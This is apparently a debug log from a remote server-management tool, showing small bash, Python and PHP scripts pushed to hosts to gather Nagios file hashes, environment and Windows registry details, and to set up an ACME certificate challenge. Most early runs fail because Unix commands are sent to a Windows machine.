  'arch' => '',
  'mac' => 0,
  'distro' => '',
  'web' => 
  array (
  ),
)


2026-01-02 11:38:53: 

PUT: /tmp/pkp899361

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions


gzip -cn9 $temp_file
rm $temp_file


2026-01-02 11:38:53: 

chmod 755 /tmp/pkp899361; /tmp/pkp899361; rm /tmp/pkp899361







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:38:54: 

PUT: /tmp/pkp170359

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-01-02 11:38:54: 

chmod 755 /tmp/pkp170359; /tmp/pkp170359; rm /tmp/pkp170359







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:39:32: Establishing a remote connection
2026-01-02 11:39:32: incoming ValStatus: ["1","WINNT"]
2026-01-02 11:39:32: guest operating system: WINNT
2026-01-02 11:39:32: 

PUT: /tmp/pkp315820

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
echo $BOUNDARY
echo PATH
set
echo


2026-01-02 11:39:32: 

chmod 755 /tmp/pkp315820; /tmp/pkp315820; rm /tmp/pkp315820







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:46:59: Establishing a remote connection
2026-01-02 11:47:00: incoming ValStatus: ["1","WINNT"]
2026-01-02 11:47:00: guest operating system: WINNT
2026-01-02 11:47:00: 

PUT: C:\Windows\TEMP\pkp392624

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
echo $BOUNDARY
echo PATH
set
echo


2026-01-02 11:47:00: 

C:\Windows\TEMP\pkp392624







STDERR:
'C:\Windows\TEMP\pkp392624' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 12:08:26: Establishing a remote connection
2026-01-02 12:08:27: incoming ValStatus: ["1","WINNT"]
2026-01-02 12:08:27: guest operating system: WINNT
2026-01-02 12:08:27: 

PUT: C:\Windows\TEMP\pkp934115

#!/usr/bin/php
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
echo $BOUNDARY
echo PATH
set
echo


2026-01-02 12:08:27: 

C:\Windows\TEMP\pkp934115







STDERR:
'C:\Windows\TEMP\pkp934115' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 12:21:53: Establishing a remote connection
2026-01-02 12:21:54: 

PUT: C:\Windows\TEMP\pkp765592

#!/usr/bin/php
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
echo $BOUNDARY
echo PATH
set
echo


2026-01-02 12:21:54: 

C:\Windows\TEMP\pkp765592





2026-01-02 13:49:05: Establishing a remote connection
2026-01-02 13:49:11: Establishing a remote connection
2026-01-02 13:49:12: 

PUT: \pkp730581

#!/usr/bin/php
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
echo $BOUNDARY
echo PATH
set
echo


2026-01-02 13:49:12: 

\pkp730581





2026-01-02 13:55:23: Establishing a remote connection
2026-01-02 13:55:23: 

PUT: \pkp357375

#!/usr/bin/php
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
echo $BOUNDARY
echo PATH
set
echo


2026-01-02 13:55:23: 

\pkp357375





2026-01-02 14:02:26: Establishing a remote connection
2026-01-02 14:02:27: installid not present
2026-01-02 14:02:59: Establishing a remote connection
2026-01-02 14:02:59: 

PUT: C:\Users\video\AppData\Local\Temp\pkp307524

#!/usr/bin/php
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
echo $BOUNDARY
echo PATH
set
echo


2026-01-02 14:02:59: 

C:\Users\video\AppData\Local\Temp\pkp307524





2026-01-02 14:15:29: Establishing a remote connection
2026-01-02 14:15:29: 

PUT: C:\Users\video\AppData\Local\Temp\pkp171648

#!/usr/bin/php
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
echo $BOUNDARY
echo PATH
set
echo


2026-01-02 14:15:29: 

C:\Users\video\AppData\Local\Temp\pkp171648







STDERR:
The system cannot find the path specified.


2026-01-02 14:16:51: Establishing a remote connection
2026-01-02 14:16:52: 

PUT: C:\Users\video\AppData\Local\Temp\pkp779770

#!/usr/bin/php
<?php
echo "Hello people";


2026-01-02 14:16:52: 

C:\Users\video\AppData\Local\Temp\pkp779770







STDERR:
The system cannot find the path specified.


2026-01-02 14:30:20: Establishing a remote connection
2026-01-02 14:30:20: 

PUT: C:\Users\video\AppData\Local\Temp\pkp518536

#!/usr/bin/php
<?php
echo "Hello people";


2026-01-02 14:30:20: 

C:\Users\video\AppData\Local\Temp\pkp518536







STDERR:
The system cannot find the path specified.


2026-01-02 14:41:10: Establishing a remote connection
2026-01-02 14:41:10: 

PUT: C:\Users\video\AppData\Local\Temp\pkp655151

#!/usr/bin/php
<?php
echo "Hello people";


2026-01-02 14:41:10: 

C:\Users\video\AppData\Local\Temp\pkp655151







STDERR:
The system cannot find the path specified.


2026-01-02 14:47:27: Establishing a remote connection
2026-01-02 14:47:28: 

PUT: C:\Users\video\AppData\Local\Temp\pkp621131

#!/usr/bin/php
<?php
echo "Hello people";


2026-01-02 14:47:28: 

C:\Users\video\AppData\Local\Temp\pkp621131







STDERR:
The system cannot find the path specified.


2026-01-02 14:50:22: Establishing a remote connection
2026-01-02 14:50:22: 

PUT: C:\Users\video\AppData\Local\Temp\pkp938822

#!/usr/bin/php
<?php
echo "Hello people";


2026-01-02 14:50:22: 

C:\Users\video\AppData\Local\Temp\pkp938822

2026-01-02 14:55:27: Establishing a remote connection
2026-01-02 14:55:28: 

PUT: C:\Users\video\AppData\Local\Temp\pkp984345

#!/usr/bin/php
<?php
echo "Hello people";


2026-01-02 14:55:28: 

C:\Users\video\AppData\Local\Temp\pkp984345



Hello people

2026-01-02 15:20:07: Establishing a remote connection
2026-01-02 15:20:08: 

PUT: C:\Users\video\AppData\Local\Temp\pkp487062

#!/usr/bin/php
<?php
echo "Hello people";


2026-01-02 15:20:08: 

C:\Users\video\AppData\Local\Temp\pkp487062



Hello people

2026-01-02 15:29:37: Establishing a remote connection
2026-01-02 15:29:38: 

PUT: C:\Users\video\AppData\Local\Temp\pkp817043

#!/usr/bin/php
<?php
echo "Hello people";


2026-01-02 15:29:38: 

C:\Users\video\AppData\Local\Temp\pkp817043



Hello people

2026-01-02 15:33:08: Establishing a remote connection
2026-01-02 15:33:08: 

PUT: C:\Users\video\AppData\Local\Temp\pkp705026

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
echo "/etc/info
";
echo "Hello people";


2026-01-02 15:33:08: 

C:\Users\video\AppData\Local\Temp\pkp705026



/etc/info
Hello people

2026-01-02 17:20:29: Establishing a remote connection
2026-01-02 17:20:29: 

PUT: C:\Users\video\AppData\Local\Temp\pkp570399

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "/etc/info\\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";


2026-01-02 17:20:29: 

C:\Users\video\AppData\Local\Temp\pkp570399



/etc/info\nComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009


2026-01-02 17:20:42: Establishing a remote connection
2026-01-02 17:20:42: 

PUT: C:\Users\video\AppData\Local\Temp\pkp134154

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "/etc/info\\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";


2026-01-02 17:20:42: 

C:\Users\video\AppData\Local\Temp\pkp134154



/etc/info\nComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009


2026-01-02 17:22:02: Establishing a remote connection
2026-01-02 17:22:02: 

PUT: C:\Users\video\AppData\Local\Temp\pkp450633

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\\n";
echo "/etc/info\\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";


2026-01-02 17:22:02: 

C:\Users\video\AppData\Local\Temp\pkp450633



----boundary-6506b6c63ab0478b95fb419cca0e56fb----\n/etc/info\nComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009


2026-01-02 17:22:39: Establishing a remote connection
2026-01-02 17:22:40: 

PUT: C:\Users\video\AppData\Local\Temp\pkp343763

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";


2026-01-02 17:22:40: 

C:\Users\video\AppData\Local\Temp\pkp343763



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009


2026-01-02 17:27:51: Establishing a remote connection
2026-01-02 17:27:52: 

PUT: C:\Users\video\AppData\Local\Temp\pkp475394

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";


2026-01-02 17:27:52: 

C:\Users\video\AppData\Local\Temp\pkp475394



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009



2026-01-02 17:34:25: Establishing a remote connection
2026-01-02 17:34:26: 

PUT: C:\Users\video\AppData\Local\Temp\pkp380328

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";


2026-01-02 17:34:26: 

C:\Users\video\AppData\Local\Temp\pkp380328



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009



2026-01-02 17:47:02: Establishing a remote connection
2026-01-02 17:47:02: installid not present
2026-01-02 17:48:52: Establishing a remote connection
2026-01-02 17:48:53: installid not present
2026-01-02 17:55:06: Establishing a remote connection
2026-01-02 17:55:06: installid not present
2026-01-02 17:55:43: Establishing a remote connection
2026-01-02 17:55:43: installid not present
2026-01-02 18:07:03: Establishing a remote connection
2026-01-02 18:07:03: 

PUT: C:\Users\video\AppData\Local\Temp\pkp481408

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";


2026-01-02 18:07:03: 

C:\Users\video\AppData\Local\Temp\pkp481408



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009



2026-01-02 18:09:19: Establishing a remote connection
2026-01-02 18:09:20: 

PUT: C:\Users\video\AppData\Local\Temp\pkp434556

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";


2026-01-02 18:09:20: 

C:\Users\video\AppData\Local\Temp\pkp434556



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009



2026-01-02 18:10:35: Establishing a remote connection
2026-01-02 18:10:35: 

PUT: C:\Users\video\AppData\Local\Temp\pkp625259

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";


2026-01-02 18:10:35: 

C:\Users\video\AppData\Local\Temp\pkp625259



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009



2026-01-02 18:11:41: Establishing a remote connection
2026-01-02 18:11:41: 

PUT: C:\Users\video\AppData\Local\Temp\pkp819676

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";


2026-01-02 18:11:41: 

C:\Users\video\AppData\Local\Temp\pkp819676



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009



2026-01-02 18:12:21: Establishing a remote connection
2026-01-02 18:12:21: 

PUT: C:\Users\video\AppData\Local\Temp\pkp578140

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";


2026-01-02 18:12:21: 

C:\Users\video\AppData\Local\Temp\pkp578140



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009



2026-01-02 18:14:10: Establishing a remote connection
2026-01-02 18:14:10: 

PUT: C:\Users\video\AppData\Local\Temp\pkp418501

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";


2026-01-02 18:14:10: 

C:\Users\video\AppData\Local\Temp\pkp418501



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009



2026-01-02 18:23:26: Establishing a remote connection
2026-01-02 18:23:26: 

PUT: C:\Users\video\AppData\Local\Temp\pkp909997

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";


2026-01-02 18:23:26: 

C:\Users\video\AppData\Local\Temp\pkp909997



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009



2026-01-02 18:32:32: Establishing a remote connection
2026-01-02 18:32:33: 

PUT: C:\Users\video\AppData\Local\Temp\pkp148631

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";


2026-01-02 18:32:33: 

C:\Users\video\AppData\Local\Temp\pkp148631



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009



2026-01-02 18:33:11: Establishing a remote connection
2026-01-02 18:33:11: 

PUT: C:\Users\video\AppData\Local\Temp\pkp539384

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";


2026-01-02 18:33:11: 

C:\Users\video\AppData\Local\Temp\pkp539384



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009



2026-01-02 18:39:50: Establishing a remote connection
2026-01-02 18:39:51: 

PUT: C:\WINDOWS\TEMP\pkp264546

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";


2026-01-02 18:39:51: 

C:\WINDOWS\TEMP\pkp264546



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=ZOOM-PC
ProductName=Windows 10 Pro
ReleaseId=2009



2026-01-02 18:42:13: Establishing a remote connection
2026-01-02 18:42:14: 

PUT: C:\WINDOWS\TEMP\pkp601752

#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';

function getRegistry($key, $value) {
	$command = 'reg query "' . $key . '" /v ' . $value;
	$output = trim(`$command`);
	$lines = explode("\n", $output);
	$output = array_pop($lines);
	$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
	[ $name, $value] = explode($type, $output, 2);
	return trim($value);
}

echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";


2026-01-02 18:42:14: 

C:\WINDOWS\TEMP\pkp601752



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=ZOOM-PC
ProductName=Windows 10 Pro
ReleaseId=2009



2026-01-03 06:00:03: Establishing a connection
2026-01-03 06:00:03: Establishing a connection
2026-01-03 06:00:04: 

PUT: /tmp/pkp708712

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-03 06:00:04: 

chmod 755 /tmp/pkp708712; /tmp/pkp708712; rm /tmp/pkp708712

2026-01-03 06:00:04: 


1


2026-01-03 06:00:05: Establishing a connection
2026-01-03 06:00:06: 

PUT: /tmp/pkp300698

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > wD2QwduzNQPeFqVu0uhcjXOy0SttXSeV-sQ0ejm0CV8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
